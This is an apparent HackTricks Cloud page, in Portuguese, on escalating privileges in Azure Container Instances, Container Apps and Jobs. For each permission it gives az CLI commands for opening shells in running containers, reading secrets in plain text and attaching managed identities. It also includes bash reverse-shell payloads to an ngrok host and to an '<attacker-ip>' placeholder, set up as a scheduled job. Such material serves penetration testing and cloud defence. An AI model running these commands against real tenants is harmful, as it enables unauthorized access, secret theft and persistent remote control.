Az - Azure Container Instances, Apps & Jobs Privesc
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
Azure Container Instances, Apps & Jobs
Para mais informaçÔes, consulte:
Az - Container Instances, Apps & Jobs
ACI
Microsoft.ContainerInstance/containerGroups/read
, Microsoft.ContainerInstance/containerGroups/containers/exec/action
Essas permissĂ”es permitem que o usuĂĄrio execute um comando em um contĂȘiner em execução. Isso pode ser usado para escalar privilĂ©gios no contĂȘiner se ele tiver alguma identidade gerenciada anexada. Claro, tambĂ©m Ă© possĂvel acessar o cĂłdigo-fonte e qualquer outra informação sensĂvel armazenada dentro do contĂȘiner.
Para obter um shell, Ă© tĂŁo simples quanto:
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
TambĂ©m Ă© possĂvel ler a saĂda do contĂȘiner com:
az container attach --name <container-name> --resource-group <res-group>
Ou obtenha os logs com:
az container logs --name <container-name> --resource-group <res-group>
Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Essas permissĂ”es permitem anexar uma identidade gerenciada pelo usuĂĄrio a um grupo de contĂȘineres. Isso Ă© muito Ăștil para escalar privilĂ©gios no contĂȘiner.
Para anexar uma identidade gerenciada pelo usuĂĄrio a um grupo de contĂȘineres:
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Essas permissĂ”es permitem criar ou atualizar um grupo de contĂȘiner com uma identidade gerenciada pelo usuĂĄrio anexada a ele. Isso Ă© muito Ăștil para escalar privilĂ©gios no contĂȘiner.
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
AlĂ©m disso, tambĂ©m Ă© possĂvel atualizar um grupo de contĂȘiner existente adicionando, por exemplo, o argumento --command-line
com um shell reverso.
ACA
Microsoft.App/containerApps/read
, Microsoft.App/managedEnvironments/read
, microsoft.app/containerapps/revisions/replicas
, Microsoft.App/containerApps/revisions/read
, Microsoft.App/containerApps/getAuthToken/action
Essas permissĂ”es permitem que o usuĂĄrio obtenha um shell em um contĂȘiner de aplicativo em execução. Isso pode ser usado para escalar privilĂ©gios no contĂȘiner se ele tiver alguma identidade gerenciada anexada. Claro, tambĂ©m Ă© possĂvel acessar o cĂłdigo-fonte e qualquer outra informação sensĂvel armazenada dentro do contĂȘiner.
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
Microsoft.App/containerApps/listSecrets/action
Esta permissĂŁo permite obter o texto claro dos segredos configurados dentro de um aplicativo de contĂȘiner. Observe que os segredos podem ser configurados com o texto claro ou com um link para um cofre de chaves (nesse caso, o aplicativo terĂĄ uma identidade gerenciada atribuĂda com acesso aos segredos).
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Essas permissĂ”es permitem anexar uma identidade gerenciada pelo usuĂĄrio a um aplicativo de contĂȘiner. Isso Ă© muito Ăștil para escalar privilĂ©gios no contĂȘiner. Executar essa ação a partir do az cli tambĂ©m requer a permissĂŁo Microsoft.App/containerApps/listSecrets/action
.
Para anexar uma identidade gerenciada pelo usuĂĄrio a um grupo de contĂȘiner:
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
Essas permissĂ”es permitem criar ou atualizar um contĂȘiner de aplicativo com uma identidade gerenciada pelo usuĂĄrio anexada a ele. Isso Ă© muito Ăștil para escalar privilĂ©gios no contĂȘiner.
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
tip
Note que com essas permissÔes outras configuraçÔes do aplicativo podem ser modificadas, o que pode permitir a realização de outros ataques de privesc e pós-exploração, dependendo da configuração dos aplicativos existentes.
Jobs
Microsoft.App/jobs/read
, Microsoft.App/jobs/write
Embora os jobs nĂŁo sejam de longa duração como os aplicativos de contĂȘiner, vocĂȘ pode explorar a capacidade de substituir a configuração do comando do job ao iniciar uma execução. Ao criar um modelo de job personalizado (por exemplo, substituindo o comando padrĂŁo por um shell reverso), vocĂȘ pode obter acesso ao shell dentro do contĂȘiner que executa o job.
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the containerâs command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
Microsoft.App/jobs/read
, Microsoft.App/jobs/listSecrets/action
Se vocĂȘ tiver essas permissĂ”es, pode listar todos os segredos (primeira permissĂŁo) dentro de um contĂȘiner de Job e, em seguida, ler os valores dos segredos configurados.
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/jobs/write
Se vocĂȘ tiver permissĂŁo para modificar a configuração de um trabalho, pode anexar uma identidade gerenciada atribuĂda a um usuĂĄrio. Essa identidade pode ter privilĂ©gios adicionais (por exemplo, acesso a outros recursos ou segredos) que podem ser explorados para escalar privilĂ©gios dentro do contĂȘiner.
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
Microsoft.App/managedEnvironments/read
, Microsoft.App/jobs/write
, Microsoft.App/managedEnvironments/join/action
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Se vocĂȘ puder criar um novo Job de Container Apps (ou atualizar um existente) e anexar uma identidade gerenciada, pode projetar o job para executar um payload que eleva privilĂ©gios. Por exemplo, vocĂȘ poderia criar um novo job que nĂŁo apenas executa um shell reverso, mas tambĂ©m usa as credenciais da identidade gerenciada para solicitar tokens ou acessar outros recursos.
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
tip
Este comando gerarĂĄ um erro se vocĂȘ nĂŁo tiver a permissĂŁo Microsoft.App/jobs/read
, embora o Job seja criado.
microsoft.app/jobs/start/action
, microsoft.app/jobs/read
Parece que com essas permissĂ”es deveria ser possĂvel iniciar um job. Isso poderia ser usado para iniciar um job com um shell reverso ou qualquer outro comando malicioso sem precisar modificar a configuração do job.
NĂŁo consegui fazĂȘ-lo funcionar, mas de acordo com os parĂąmetros permitidos, deveria ser possĂvel.
Microsoft.ContainerInstance/containerGroups/restart/action
Permite reiniciar um grupo de contĂȘiner especĂfico dentro do Azure Container Instances.
az container restart --resource-group <resource-group> --name <container-instances>
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.